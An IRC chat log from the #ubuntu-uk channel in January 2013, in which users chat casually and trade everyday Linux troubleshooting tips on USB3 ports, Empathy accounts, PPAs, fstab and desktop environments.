<shauno> it claims it'll do 3 rooms on one charge.  I've yet to try that though
<neuro> CAN IT LEVITATE UP THE STAIRS LIKE A DALEK?! *shudder*
<shauno> I'm curious how it finds home once it's done three, because the 'beacon' for the base station appears to be optical
<popey> does it build an internal map?
<shauno> it doesn't seem to, based on the pinball game it played between my tablelegs
<mgdm> Hmm
<mgdm> I thought that was the point :)
<shauno> well, so far all its had is a 10 minute run while I giggled like a child, before I put it on to charge like I oughta.  so very rough first impressions
<ali1234> indoor positioning is supposed to be the thing this year
<ali1234> (last year it was AR)
<skinofstars> not sure if anyone can help with this, but my usb mouse doesn't seem to work with the usb3 port
<MartijnVdS> skinofstars: strange. does the usb3 port work with anything else?
<skinofstars> just tried a usb stick. nuffin
<MartijnVdS> skinofstars: nothing detected? (lsusb, dmesg)
<skinofstars> yep, nothing on lsusb or dmesg
<skinofstars> usb2 seem to be fine
<MartijnVdS> I don't know.. don't have any USB3 ports..
<directhex> skinofstars, usb3 port on the front of the case, or direct on the motherboard?
<skinofstars> directhex: it's a laptop. so on the side
<skinofstars> sorry. actually, i am seeing a usb hub on lsusb
<skinofstars> but it's returning 'unused'
<skinofstars> it didn't say usb without doing lsusb -v
<directhex> check your BIOS settings to see if there's anything relevant there
<skinofstars> cool. i saw someone on the internets suggestng booting with it plugged in, so i'll check that too
<dwatkins> neuro: looks like I can make a straight pass-through RS423-RS232 cable and run 'Tequila' on my BBC Micro to use it as a terminal for my ubuntu machine :)
<dwatkins> also, if anyone wants to be a DALEK... http://www.ebay.co.uk/itm/VERY-RARE-DALEK-SUIT-from-the-BBC-TV-serial-DR-WHO-/261154307591
<skinofstars> it's odd. mouse works in usb3 port if it's booted with is plugged in
<skinofstars> i might have to play around with different kernels to see if it's an upstream issue
<Seeker`> ali1234, A sign appeared in the communal entrance to day 'is anyone having any problems with sky in this block?'
<ali1234> so it's the distribution system?
<ali1234> or did you put the sign up?
<ali1234> when was the last time your nova-t worked?
<Seeker`> I didn't put it up, someone else did
<Seeker`> someone else wrote on the sign 'I do' (or words to that effect)
<Seeker`> Friday
<ali1234> so, seems like the distribution system has blown up then
<Seeker`> possibly
<Seeker`> weird that some TVs work though
<StevenR> Seeker`: maybe there's a chain of distribution devices, and only one has blown up
<ali1234> yeah
<ali1234> i don't know how to explain that satellite and terrestrial both broke at the same time though
<Seeker`> ali1234, I imagine they are both sent over one wire to the flat, and split out inside fo the flat
<ali1234> could be
<ali1234> the wall plate might just be two sockets on the same piece of wire
<Seeker`> StevenR: I can run a TV through the socket that my Nova-T 500 can't get a singal through, and a 290e USB stick gets a singal from that socket too
<Seeker`> it might be that there is an amplifer somewhere int he distribution chain that has blown up
<daftykins> as far as i understood, dish feeds tend to carry voltage and standard aerials don't
<ali1234> there's no reason the standard aerial doesn't
<ali1234> mine does :)
<ali1234> cos i have a masthead amp
<ali1234> an LNB isn't really all that different
<ali1234> but in any case, if the signal is being split out from a distributor then there won't be any DC on either socket
<ali1234> anyway this speculation is pointless. call the super and get it fixed :)
<ali1234> the wires around the building are probably enough to pick up a weak signal even if the main aerial is broken
<ali1234> for terrestrial that is
<ali1234> not for satellite obviously
<ali1234> if you managed to get a signal with the mini aerial you must be quite close to the transmitter
<Seeker`> yeah, not far
<daftykins> Seeker`: was it you i was talking to that had a mythtv setup that suddenly lost all channels?
<Seeker`> possibly
<Seeker`> also, does anyone know where I put my signal booster?
<daftykins> what's that GRUB boot fixing CD people often recommend?
<ali1234> super grub rescue or something
<ali1234> http://www.supergrubdisk.org/
<daftykins> i figured it might be :) thanks ali1234
<ali1234> honestly i just use ubuntu live cd usually
<ali1234> and just reinstall grub from scratch
<daftykins> yeah, it's for some guy helping his sister
#ubuntu-uk 2013-01-15
<Seeker`> ali1234, signal booster 'fixes' my nova-t 500
<bootkigftrgds> Just watching the action Linux Show 'bout Ãbuntu Phone. http://www.youtube.com/watch?feature=player_embedded&v=33GiecW1E-4#!
<bootkigftrgds> sorry Linux Action Show I meant.
<bootkigftrgds> dwatkins:  The dalek post was aewsome .. I laughed out loud !!
<bootkigftrgds> **awesome
<Azelphur> Operation ikea galant megadesk complete https://www.dropbox.com/s/1pjwb9qwf4wfnz3/2013-01-15%2000.12.29.jpg
<Azelphur> one coffee table was harmed during the making (it was cannibalised for parts, it will be missed.)
<daftykins> Azelphur: good work ^_^
<daftykins> those diagonal legs would cause me to be screaming in pain before too long i sense
<Azelphur> nah, they don't come out from under the table
<daftykins> ah
<daftykins> your place's tubes come yet?
<Azelphur> tubes?
<Azelphur> oh internet, no
<Azelphur> not till feb :(
<daftykins> ah ye =[
<Seeker`> Azelphur, thats a lot of desk space
<Azelphur> indeed
<Seeker`> Azelphur, just how much space do you need to blow up arduinos?
<Azelphur> Seeker`: lots, haha
<daftykins> where else do you stack the dead parts? bins are too small
<Azelphur> shh :p
<Azelphur> I don't kill most of my things :(
<Azelphur> https://www.dropbox.com/s/c6d1t5pbugxfc67/2013-01-15%2000.36.38.jpg is my hack involving coffee table legs
<Azelphur> that panel is supposed to have legs on the right where that place is
<Azelphur> but instead I used coffee table legs to attach it to the desk right next to it, that does have legs
<Azelphur> xD
<Azelphur> hopefully it won't fail.
<daftykins> Azelphur: sorry i didn't even know about this, i just joined in :<
<Azelphur> daftykins: hehe, yea I have a rep for breaking everything, although I usually break software ;)
<daftykins> :D
<daftykins> i got shipped an internal matrix orbital LCD display once, that had the serial cable wired wrong
<daftykins> it caught fire in the bottom of my case 8D
<Azelphur> meep o.O
<daftykins> i email'd and said, hai guys, um, it kinda burnt?
<Seeker> daftykins: a long long time ago, every time Azelphur plugged an arduino in to his computer, it stopped working
<daftykins> XD
<Azelphur> yea lol
<daftykins> so, last year? :>
<Azelphur> I never did get it to work
<Seeker> completely killed it
<Azelphur> I don't think it's actually dead
<Azelphur> I think it just hates my PC.
<Azelphur> I had them ship me a replacement out, and they said the one they got back worked fine, and the new one I got didn't work in exactly the same manner
<Azelphur> so, I call software issues xD
<Azelphur> either that or my PC asplodes arduinos.
<daftykins> :D
<daftykins> hate it when that happens
<daftykins> you need a second less-attacked PC for such times ;)
<daftykins> at least now you have a victim next door to demand things of :D
<directhex> 7 new games saw the first stages of being added to steam for linux today
<popey> yay
<popey> which ones?
<Azelphur> daftykins: hehe
<Azelphur> oO, new games
<directhex> not sure, i haven't kept a log of that kind of data. X3 is new. so is Lume. and Shank 2.
<directhex> some other odds & sods added recently. spacechem dlc; various dedicated server apps
<daftykins> the army grows
<bootkigftrgds> I got Empathy to load up on my Lubuntu netbook, but when I ask it to load 'an account' it just ges to system setting .. what am I doing wrong ?
<bootkigftrgds> **goes..
<bootkigftrgds> Is everyone in Pillow land ??
<daftykins> some are alive, not sure if they have seen your Q though
<bootkigftrgds> ok . np
<bootkigftrgds> same half a dozen ppl anyway ...
<daftykins> indeedy
<daftykins> not a great time for UK either
<bootkigftrgds> daftykins: how so , oh you mean time-wise.. here in IOM its Hagen daz time :)
<daftykins> XD
<daftykins> gimme!
<bootkigftrgds> no , its mine !!
<daftykins> D:
<bootkigftrgds> it's not Terry either !!
<bootkigftrgds> **Terry's
<bootkigftrgds> does anyone actually live in Brixton .. thought it was just a prison ::  http://en.wikipedia.org/wiki/BLAG_Linux_and_GNU
<daftykins> only time friends have passed through there for gigs, they've been mugged \o/
<bootkigftrgds> last time I was mugged .. I had a mocha ^_^
<bootkigftrgds> Are you the guy from Guernsey ?/
<daftykins> yes sir-ee
<bootkigftrgds> oh great, yeah, i talked to ou last week (solarcloud0 .. on pidgin as my other one crashed ..
<bootkigftrgds> **you
<bootkigftrgds> soz, fag in hand, little attentin span atmo.
<bootkigftrgds> **attention
<daftykins> lolz
<daftykins> ah yeah, i thought i didn't know this nick :>
<daftykins> anywho bbs, gonna put some food on
<bootkigftrgds> cant wait till TPB - AFK coes out .. seeya
<bootkigftrgds> Quick question : When's the next ubuntu uk podcast ?? (this month ??)
<popey> bootkigftrgds: dunno actually
<popey> we take a break over xmas and usually start in feb
<popey> we tend to go out for a curry to decide what we're going to do the same/differently
<bootkigftrgds> damn. you doing the graveyard again ?
<popey> graveyard?
<bootkigftrgds> Well my point would be to add a answering machine to the skype phone for the channel (free) and also flatter so I can fund it/you.
<bootkigftrgds> **flattr
<bootkigftrgds> meant graveyard-shift.
<popey> no, I'm in California
<bootkigftrgds> Wow, I'm sure I can hear highway 1 in the background !!
 * bootkigftrgds wonders if popey has seen any lost boys ?
<bootkigftrgds> right this is serious ,::: We will definitely need a pic of you in Bermuda shorts :)
<Azelphur> popey: https://www.dropbox.com/s/1pjwb9qwf4wfnz3/2013-01-15%2000.12.29.jpg ;)
<popey> finally Azelphur âº
<Azelphur> indeed :D
<Azelphur> I kinda had to cannibalise a coffee table to make it work.
<Azelphur> but, it works \o/
<bootkigftrgds> popey, did you bring the inflatable beach ball too ??
<bootkigftrgds> Azelphur: What graphics card are you using ??
<Azelphur> bootkigftrgds: GTX 570 + GT 630
<bootkigftrgds> so the screens just work outta the box ??
<Azelphur> no.
<Azelphur> if your going multi screen get an ATI card
<bootkigftrgds> Azelphur .. what tweaks did you do ?
<Azelphur> bootkigftrgds: nvidia deliberately brick multi monitor support on Linux, the only way it works is with separate X screens, which is buggy, and generally crap.
<Azelphur> get ATI cards, it works much better I hear.
<Azelphur> I'm planning on switching at some point.
<bootkigftrgds> you just need my carpet office mat from Viking, that's all.
<bootkigftrgds> or do you stay in one place ??
<Azelphur> carpet office mat? :p
<Azelphur> I stay in one place pretty much
<bootkigftrgds> mmm.. I have 4 computers running 7 screens in my lounge... so I need to scoot about on the floor etc ..
<Azelphur> fun
<popey> i didnt bring my silly shorts with me
<bootkigftrgds> buy some !!
<bootkigftrgds> Azelphur:  do you think we can crowdfund popey some silly shorts ??
<Azelphur> haha, maybe
<Azelphur> I have to head off now though, gotta be up early tomorrow
<bootkigftrgds> np
 * Azelphur waves
<bootkigftrgds> o/
<bootkigftrgds> popey, I remember California radio being quite bad, have you got used to it yet ??
<popey> not listened to it
 * popey goes for beer
<bootkigftrgds> Have you met Mickey ?
<popey> I thought he lived in Florida
<bootkigftrgds> No he travels to California too .. he lives at Universal Studios.. :)
<bootkigftrgds> & if you see Arnie, tell him I want a refund on his Terminator film as I can't hack a ATM with an Amstrad NC200 like it shows !! :D
<Azelphur> whats the general opinion on how long I should leave a freezer standing after being transported? It's a reasonably new freezer (I think it came out sometime in 2011), LEC u5526w (manufacturer conveniently has no way to get the manual)
<diplo> Thought it was like 2 hours from memory
<knightwise> 24 hours
<diplo> Could be wrong, I always used to leave it over night though
<knightwise> to make sure.
<Azelphur> ^ welcome to the responses I find online haha
<knightwise> diplo: same her
<knightwise> e
<Azelphur> 2...no 24...no 48!
<Azelphur> I got it in at like 2pm yesterday and I got food arriving at 3pm today to go in it, so pondering when I should turn it on
<Azelphur> or if I should abort and find an alternative storage location for said food :P
<diplo> now or in the next couple of hours will be fine Azelphur
<Azelphur> righto :)
<Azelphur> I'll fire it up, inb4 explosions
<diplo> never had an issue in 20 years of doing it the above way
<daftykins> is this all about letting the gas settle and acclimatise or something?
<diplo> yep daftykins, I honestly don't think it's an issue now adays
<diplo> I think this was a thing from years ago
<daftykins> i bet the manuals say
<diplo> It's mainly if it's been on it's side etc
<diplo> If it stood upright, I don't believe it's an issue
<czajkowski> aloha
<Seeker> Azelphur: is there still snow outside?
<Azelphur> Seeker: nope
<Azelphur> there we go powered it up, no explosions as of yet
<daftykins> Azelphur: *slap crash bang wallop*
<Azelphur> hehe
<hoover> morning all
<daftykins> hi hoover
<bootkigftrgds> morning...
<bootkigftrgds> how do i change my nick again ??
<knightwise> just type /nick and then your nick
<solarcloud> Awesome !!
<dwatkins> tada
<brobostigon> good morning everyone,
<dwatkins> ello ello
<daftykins> heya
<brobostigon> morning dwatkins and daftykins
<daftykins> just email'd the guy that has my email address @gmail.com except with an "8" before the @ to ask if he is related to another person who lives near him and seems to be signing me up to their online purchases also :D
<daftykins> brobostigon: hello sir
<dwatkins> daftykins: I discovered yesterday that there are tens of people in the US with my name
<MartijnVdS> dwatkins: DW Atkins?
<dwatkins> MartijnVdS: heh, no - Dominic Watkins
<daftykins> dwatkins: :D
<dwatkins> one of them is a production designer, see IMDB
<daftykins> Dustin kept signing me up (Dave) and now Deborah seems to be at it too
<daftykins> they're both in Arizona :>
<daftykins> i've got her company on the emails so i can just try and contact someone directly otherwise
<MartijnVdS> There's only one person who shares my name
<daftykins> be so funny phoning the US and asking for someone by name
<directhex> it's not that there are other jo shieldses, i think there's more than one directhex
<daftykins> :D
<daftykins> if ever there were a conference i would imagine the conversation would be very indirecthex
<daftykins> (sorry)
<daftykins> ah c'mon it was good :<
<directhex> heh
<directhex> poor daftykins, not appreciated for his comedy
<daftykins> ;)
<daftykins> inorite
<directhex> y'know, all the best artists only got appreciated after their death
<daftykins> www.themu.co.uk
<daftykins> glad that guy made that product after all, but Â£25 is a rip
<dwatkins> yeah daftykins - I was hoping for a mains cable for laptops with that on
<dwatkins> he seemed to be in talks with Apple, not sure where that went, if anywhere.
<daftykins> :O
<daftykins> ugh hate when the sun shines directly in on your screens and your contrast ratio drops to nil
<daftykins> :>
<ubuntubhoy> Morning folks - is it possible to disable the Unity sidebar ?
<MartijnVdS> ubuntubhoy: you can make it autohide
<ubuntubhoy> yeah
<ubuntubhoy> not quite the same
<ubuntubhoy> still gives notifications
<MartijnVdS> uh?
<MartijnVdS> notifications are not in the sidebar
<MartijnVdS> they're top-right
<ubuntubhoy> the icons jiggle when wanting attention
<MartijnVdS> ubuntubhoy: you can disable that
<ubuntubhoy> I didn't mean system notifications
<ubuntubhoy> aha
<ubuntubhoy> how so my good fellow ?
<MartijnVdS> probably using ccsm or dconf-editor
<ubuntubhoy> will have a little look about
<ubuntubhoy> cheers
<SuperMatt> I'm actually finding that I'd quite like the dodge behavior back
<SuperMatt> I've been playing around with blender in full screen, and it's a little annoying that it doesn't disapper by default
<SuperMatt> in fact, it'd be nice if I could chose behavior based on application
<gord> i had to approve the merge to remove the dodge behavior (in code) from unity, i got angry emails for that
<SuperMatt> yeah? what was the reason for removing it?
<SuperMatt> I guess lack of consistancy?
<gord> was never sure about that, i think it didn't user test well or something. i liked it
<SuperMatt> well, you can't really complain about user testing
<SuperMatt> I guess it is a bit of a confusing feature
<SuperMatt> especially if a new user is on a laptop
<SuperMatt> sure they get more screen space, but they don't know how to open stuff
<dwatkins> I noticed my search box pops up whenever I press alt if I have the bar set to auto-hide, perhaps I should upgrade...
<MartijnVdS> dwatkins: that's the menu thingy
<MartijnVdS> or whatever the official name is
<MartijnVdS> I've disabled it.
<dwatkins> I'm still not sure about the whole thing, especially as I can't move the bar, but that's another discussion entirely ;)
<directhex> i'm deploying gnome fallback, i think, in a corporate environment
<directhex> feedback from users is that shell is terrible and unity is terrible
<directhex> the real issue is discoverability
<dwatkins> directhex: yeah, I got that impression when I used fluxbox recently, and it reminded me how I'd discovered a whole bunch of applications by exploring the menus
<gord> i find if you base too many decisions on user testing you just end up with an overly homogeneous design
<dwatkins> granted, fluxbox isn't the most modern window manager, but still - I learned a lot by just looking at what's available
<dwatkins> agreed, gord
<directhex> gord, true. but the counterpoint to that is if you run a business & expect users to do their jobs, they need to be able to use their computers
<dwatkins> sadly it reminds me of Windows 8 - many people who use it for the first time have trouble finding fundamental things like the start menu and the shutdown button: http://www.hanselman.com/blog/TheMissingWindows8InstructionalVideo.aspx
<gord> sure, but its not one or the other, i doubt the mouse would of user tested well back in the day
<daftykins> i couldn't find shutdown the first time i ran win8 in a VM :(
<dwatkins> I may be set in my ways, but I liked the idea of an 'applications' menu in Gnome which you could browse through to find types of apps, like video-related ones etc.
<daftykins> though going for the screen edges is totally counter-intuitive with a VM
<daftykins> and hard to pull off even
<directhex> there's a big difference between testing on users, and asking users what they think
<dwatkins> daftykins: indeed, that's the main issue I have with that 'corners' thing
<directhex> if you ask users what they think, you'll get bull answers
<MartijnVdS> directhex: not always
<directhex> if you observe users' behaviour when trying to use it, you get useful data
<MartijnVdS> directhex: you need to do both :)
<directhex> the answer to "what do you want" is *always* "what i'm used to"
<dwatkins> find out what they need?
<daftykins> silly change haters
<dwatkins> personally I need a way to find out what apps there are for a given task, and a way to get to the control panel items easily
 * MartijnVdS has Alt+F2 for both ;)
<dwatkins> so the old ways of Gnome suit me well
<dwatkins> MartijnVdS: what if you don't know the name of an app, though?
<MartijnVdS> dwatkins: apt-cache search
<dwatkins> MartijnVdS: yeah, I've used that a lot, but straightaway we're in command line territory, when it should just be a case of looking in a folder
<directhex> menus are discoverable
<dwatkins> e.g. 'video' or 'audio' etc.
<dwatkins> as directhex says
<directhex> i know they're the least fashionable thing in computers right now, but they are
<dwatkins> and on that note, I'm off to a meeting, have fun :)
<directhex> so much as we want to move to a post-menu touchscreen world, menus are the easiest way for a user to look at her options & select the appropriate one
<gord> menus are pretty bad at that really, but i don't think there is a good replacement yet that isn't too "out there"
<daftykins> dwatkins: i'm watching that guys shorter 4 min video, hilariously the more i learn how windows 8 works the less it makes sense to me XD
<directhex> _I_ don't know how to see which apps i have that i could run, in unity
<daftykins> directhex: i totally agree, if something is presented you can discover and learn how to use it
<daftykins> although truth be told i accidentally learnt some gestures on an OS X snow leopard touchpad recently by just trying 3 finger swipe left and right in Safari
<directhex> i mean, seriosuly, unity is awful for discoverability
<daftykins> i had a feeling since two scrolled, more might do that - and i was right!
<directhex> it's great if you already know what you want, much like with shell and win8
<directhex> i.e. just type
<directhex> but that's not a step forwards. especially in touchscreenland
<daftykins> yeah the first time i saw unity i just thought - where the hell did everything go? my first task was to find the desktop resolution settings, i didn't think more stuff would be glued on the menu that comes down beneath the power button :S that was odd
<directhex> also, i freaking HATE the modern multi-window paradigms. i've slowed down so much since i stopped having one taskbar button per window
<gord> i recently needed to export a pdf from safari in ios to a pdf reader. it took me about ten minutes to figure it out. turns out you have to tap, once the pdf is open in safari, but on the content not any of the safari gubbins. then you get a send to menu
<directhex> if i have ten terminals open, with useful titles on them, unity multiplies the number of clicks i need
<daftykins> first thing i disable in windows 7, those silly 'tiles' on the taskbar instead of text-adorned items
<daftykins> no grouping permitted, no combining
<directhex> the global menu is one of apple's stupidest design decisions since it forces the user to manually track which window has focus (therefore which window the global bar applies to). totally counterintuitive
<daftykins> gord: haha nice
<daftykins> directhex: yeah took me a while to get used to that. plus then shortcuts aren't available system wide, e.g. command+shift+u opens the utilities folder but only IF the finder is the currently active process
<directhex> all of unity's messing about is fine from an experimental perspective, but lucid was a more usable business desktop than precise, purely due to all the ubuntu design team's stuff. and using shell on precise would be no better, since shell has its own set of user-hostile paradigm shifts
<directhex> i'm not saying ubuntu sucks any more than i'm saying upstream gnome sucks, when it comes to blithely changing established computer usage patterns for the very well justified reason of LOOK BEHIND YOU A THREE-HEADED MONKEY
<directhex> unity is far far more usable than shell, IMHO
<directhex> but that's like picking your favourite STD
<daftykins> i can't even try gnome3 in a VM 'cause it falls to fallback saying i have no hardware support, despite 3D accel being enabled O_O
<mungbean> tried elementary?
<daftykins> my dear watson?
<mungbean> quickest and nicest DE around IMO
<directhex> mungbean, how do i install it on precise?
<daftykins> directhex: do you ever have a fiddle with debian still?
<mungbean> directhex: best to boot from liveusb at the mo
<mungbean> as its still beta
<mungbean> i tried adding the repo to 12.04 but some other DE/theme settings interfered - might be OK on relatively clean install though
<directhex> mungbean, then it's not something i care about
<directhex> daftykins, i use debian as my "place to upload things". i don't upload to ubuntu directly
<mungbean> try it out anyway
<SuperMatt> ooh, fedora 18 today
<neuro> it's finally old enough to drink
<daftykins> directhex: not sure i follow
<daftykins> neuro: perhaps in giving it a spin, that shall show
<directhex> daftykins, i use and deploy ubuntu, on desktops. i'm a debian developer & contribute to debian
<daftykins> oh ok
<daftykins> upload in that sense
<daftykins> i had a play with a net install of wheezy the other day
<daftykins> that's what didn't come up right in the VM =/
<solarcloud> When I try to Add an account in Empathy, It just opens up the System settings .. What am I doing wrong ???
<daftykins> anyone recognise the ship? https://fbcdn-sphotos-c-a.akamaihd.net/hphotos-ak-ash4/486067_586009144759016_675528325_n.jpg
<directhex> solarcloud, nothing, in modern gnome. empathy gets its accounts from the Ubuntu Online Accounts pane in system settings
<Mez> solarcloud: is there an online accounts option in there ?
<solarcloud> daftykins: Fifth element ?
<davmor2> morning all
<ahayzen> solarcloud, empathy uses the online accounts part of system settings now to manage accounts
<daftykins> solarcloud: hrmm which bit?
<solarcloud> daftykins: Dunno, just a hunch.
<solarcloud> thanks about Empathy .. there's no 'onlne' A/c.s things afaik
<beatsonline> still cant use Empathy .. I'm banned from #lubuntufor some silly reason :(
<dwatkins> beatsonline: perhaps you're using the same ISP or username as someone legitimately banned from there
<ali1234> https://bugs.launchpad.net/ubuntu/+source/empathy/+bug/1067901
<lubotu3> Ubuntu bug 1067901 in empathy (Ubuntu) "can't configure any accounts in empathy" [Undecided,Incomplete]
<beatsonline> basically, it's useless , then.
<ali1234> yeah pretty much
<ali1234> once again all the other desktops have been thrown under a bus to make something trivial work in unity
<beatsonline> how do I get unity working for Lubuntu ??
<ali1234> you don't
<beatsonline> oh poo.
<ali1234> just stop using empathy and install pidgin
<beatsonline> but i want to use all the other services .. is there a message aggregator other than empathy ( to use identi.ca etc ) . ??
<MartijnVdS> your web browser?
<beatsonline> it's too slow .. i want to et message updates etc ..
<beatsonline> **get
<beatsonline> althou, it is chrome :)
<ali1234> if you install gnome-control-center-signon
<ali1234> and then modify the .desktop to remove the OnlyShowIn: line
<ali1234> and then install gnome control center
<beatsonline> I'm doing that ..
<ali1234> then you will be able to configure accounts in empathy
<ali1234> https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1040193
<lubotu3> Ubuntu bug 1040193 in gnome-control-center (Ubuntu) "Redundant ubuntu-online-accounts and gnome-online-accounts panels using a session other than Unity" [Low,Confirmed]
<beatsonline> aparantly, the background downloade daemon crashed .. AAAArgh !!
<beatsonline> ali1234: How do I modify the "desktop to OnlyShowIn: Line " ??
<beatsonline> hello ??
<daftykins> ooh-err
<daftykins> connection troubles galore
 * Laney wibbles
<daftykins> Laney: how dare thee wibble in my presence!
 * Laney wÃ¼bbles at daftykins
<daftykins> ach, auf Deutsch?
<daftykins> sehr gut ^_^
 * czajkowski knocks over the wibbling Laney 
 * Laney wÃ¸bbles off into the distance
<daftykins> i can't even pronounce that one
<ali1234> the virtualbox bug where the mouse point continually jumps to the top left corner of the screen really doesn't mix well with gnome shell
<beatsonline> What is the Lubuntu alternative to Gwibber ??
<ali1234> going to twitter in firefox
<davmor2> beatsonline: there isn't an alternative to gwibber everything else is individual clients
<czajkowski> danfish: https://launchpad.net/nosh-cs
<meet> how do i automount my ntfs partitions on startup?
<directhex> add a line to /etc/fstab
<meet> directhex: what line?
<daftykins> meet: pastebin us your /etc/fstab and the output of 'sudo fdisk -l' and we'll see
<davmor2> meet: http://www.dedoimedo.com/computers/automount_ntfs.html first one back from a google search
<daftykins> davmor2: cor, did you feel lucky?
<daftykins> actually they got rid of that didn't they ;/
<directhex> something like this one from my pc: /dev/disk/by-label/despair_data	/data	auto	rw,user,exec,utf8	0	2
<daftykins> well well well the mystery deepends
<daftykins> *deepens
<daftykins> the other US person with my name is apparently unknown to the last one!
<daftykins> so it seems i'll have to try phoning the random number to see if i can discover who this randomer is 0o
<daftykins> and ask them to stop using my email XD
<directhex> well, "Daf Tykins" is a pretty rare name!
<daftykins> you'd think so
<daftykins> and yet peeps keep signing up dtykins@gmail.com be they called Dustin or Deborah
<Mez> So, just spent 3 hours trying to work with nvidia Quadro card and 12.10. Unity really doesn't like it.
<daftykins> nvidia-current not run with it is it?
<daftykins> guess it depends what generation quadro
<DJones> \o/ XBMC set up & working, very impressed with it
<diplo> Its great, what version are using DJones ?
<DJones> Frodo
<DJones> I'm surprised how well it works on a low spec machine, I put Lubuntu on a machine with 512Mb ram and built in graphics, but doesn't have any speed issues even playing video from a samba share
<shauno> playback is fine on my pi.  (and my 900MHz celeron).  it tends to be the UI that gets sloppy first
<DJones> installed the remote control on my phone to control it rather than having to go to a keyboard/mouse
<diplo> Cool, I still use my revo but have a pi at home im borrowing to test
<DJones> That'll be my wife happy anyway, she's got 2 series of house to watch now
<Seeker> ali1234: seems the distribution stuff is fixed now
<popey> Morning slackers!
<MartijnVdS> evening mr popeyman
<AlanBell> morning popey
<AlanBell> how is the land of the setting sun?
<popey> cold
<SuperMatt> setting? it's already set!
<SuperMatt> damn sun
<AlanBell> some say the sun sets in the west, some say it sets in the east. The truth is probably somewhere in the middle.
<popey> nice and bright here
<gord> our only hope is to pray to the great sun gods and hope the sun comes back tomorrow
<czajkowski> whoo sheldon is back from toshiba, all working well what ever they did
<czajkowski> although in one of the notes it does say, install windows and all will be ok
<czajkowski> not bad for something that was just outside of warranty
<BigRedS> Anyone know of any n-m alternatives that aren't wicd? All I want is a thing that'll deal with my wifi interface
<BigRedS> but as if it were 2013, so no iwlist :)
<popey> why not n-m?
<BigRedS> because it disables the bridge my vms use to talk to the host
<BigRedS> and doesn't appear to listen when I tell it to not
<BigRedS> I don't have very high expectations of n-m, but that surprised me :)
<BigRedS> It's bug 1099949 but I'd really like to get some work done in between now and if that gets fixed
<lubotu3> bug 1099949 in network-manager (Ubuntu) "Disables virtual machine manager's virbr0" [Undecided,New] https://launchpad.net/bugs/1099949
<meet> i am unable to add any ppa.
<meet> help needed. what could be the problem?
<BigRedS> meet: what happens when you try?
<meet> BigRedS: shall i give you the output?
<meet> the thing is i am not able to apt-get update also.
<BigRedS> pastebin it
<meet> http://fpaste.org/8KdB/
<BigRedS> there doesn't appear to be a quantal version of that ppa
<BigRedS> http://ppa.launchpad.net/mefrio-g/plymouthmanager/ubuntu/dists/ is all the releases for which there is a repo
<meet> so how to remove that error?
<meet> moreover can i install the package despite these errors?
<BigRedS> well, if you remove the ppa it'll stop trying to downloa it and stop triggering the error
<meet> how to remove the ppa?
<BigRedS> it might be that the oneiric one works, but it may well not, I've no idea
<popey> sudo apt-get install ppa-purge
<BigRedS> you'd need to check with the maintainer, probably. There might be a newer PPA supplying the same thing
<meet> i got a blog which said they worked on the 12.10 and 12.04
<popey> sudo ppa-purge ppa:mefrio-g/plymouthmanager
<meet> popey: ppa-purge command not found
<popey> you didnt do the first step
<popey> 19:58:24 < popey> sudo apt-get install ppa-purge
<meet> oh :)
<davmor2> night all
<popey> nn davmor2
<BigRedS> Hmm, what's the upstart equivalent of editing init scripts?
<BigRedS> I've largely ignored upstart thus far, and I've just noticed all those init scripts are symlinks :)
<BigRedS> Ah! They're in /etc/init
<MartijnVdS> innit
<brobostigon> lol
<bigcalm> Evening all
<popey> hello
<daubers> o/
<daubers> New PC nearly constructed!! Just awaiting CPU + RAM
<beatsonline> popey, hi how's cali-forn-i.a. ??
<dwatkins> daubers: this is my graphics card right now, I'm kinda at the other end of the process... http://imgur.com/Oy7Sp
 * beatsonline expects popey's gloates...
<popey> its cold
<beatsonline> that it ? ..come on, you went all that way ...
<popey> âº
<beatsonline> OK .OK, so how do you do that keystroke ??
<popey> I type a colon and then a close bracket
<beatsonline> :)
<beatsonline> that doesn't translate very well...
<beatsonline> popey, Have you seen any Imperial stormtroopers , so far you've been there ?
<popey> nope
<popey> mostly been in the hotel
<beatsonline> popey, I'm sending you here to make me some pie  ... https://plus.google.com/114350712506628567694/about?hl=en
<Danawar3> Hey Ubuntu-UK my Ubuntu computer has started getting very slow and occasionally locking up where would I be able to troubleshoot this as CPU usage is always around 10-20%
<popey> Danawar3: #ubuntu is the official support irc channel..
<exobuzz> my laptop doesn't seem to work anymore. ive tried switching it off and on and nothing.. http://www.jogglerwiki.com/forum/download/file.php?id=390&mode=view
<popey> âº
<popey> what was it?
<popey> well done for getting it out of the house
<exobuzz> yeh.. tbh if I had realised it could have exploded a few more times (ive watched some video with a demo), i may not have been so silly as to pick it up and carry it out :)
<popey> what make/model was it?
<exobuzz> but i was happy it didn't continue burning on my dining table and set my house on fire. also good the fire station is 2 mins away
<exobuzz> travelmate 8104wlmi
<AlanBell> exobuzz: I think that might be a hardware issue
<popey> did you contact the manufacturer?
<exobuzz> i emailed them to inform them of what happened yeh. heard nothing back yet
<exobuzz> AlanBell, must be :)
<popey> is it in warranty?
<exobuzz> this is kind of how it looked http://www.youtube.com/watch?feature=player_embedded&v=pizFsY0yjss
<exobuzz> naah. tis old laptop .. i bought it in 2006 or something
<exobuzz> interesting video that.
<exobuzz> a friend wrote on facebook "Linux power management isn't very good still I see ".
<popey> heh
#ubuntu-uk 2013-01-16
<ali1234> can anyone remember how you install amiga workbench on a new hard drive??
<ali1234> it just occured to me that the reason i can't remember is because i only ever had to do it once
<ali1234> "progress"
<popey> you have an amiga? or you're emulating?
<ali1234> popey: i just "fixed" my A4000
<ali1234> actually the problem was the VGA adapter
<shauno> if you have a proper distribution of wordpress, one of the disks should simply be labelled install.  it'll contain an app on it called HD Install
<ali1234> ah yes, the install disk
<shauno> "contain an app on it" .. I swear I speak english natively.
<ali1234> you also wrote "wordpress"
<shauno> good point.  okay, it's time for bed.
<exobuzz> there is an "install" disk as part of the amigaos disk set
<exobuzz> you are aware of the old 3.1 hd prep limitations and recommendations to use a newer tool to do any partitioning etc. also filesystem/scsi.device limits etc ?
<exobuzz> also: pfs is freely available now which you might want to use if you want to use partitions >4gb etc
<exobuzz> ouch
<exobuzz> oh. sorry i thought you meant i wrote wordpress. hehe.
<ali1234> pfs?
<exobuzz> http://aminet.net/package/disk/misc/pfs3aio
<ali1234> i think i have lag
<exobuzz> if you want to use partitions over 2gb or 4gb or something you need sfs or pfs3
<exobuzz> you probably know all this
<ali1234> i put a 1GB HD in it
<ali1234> i used to knw it but i forgot
<exobuzz> you still might want to use pfs3 or something though due to it being better than ffs in many ways
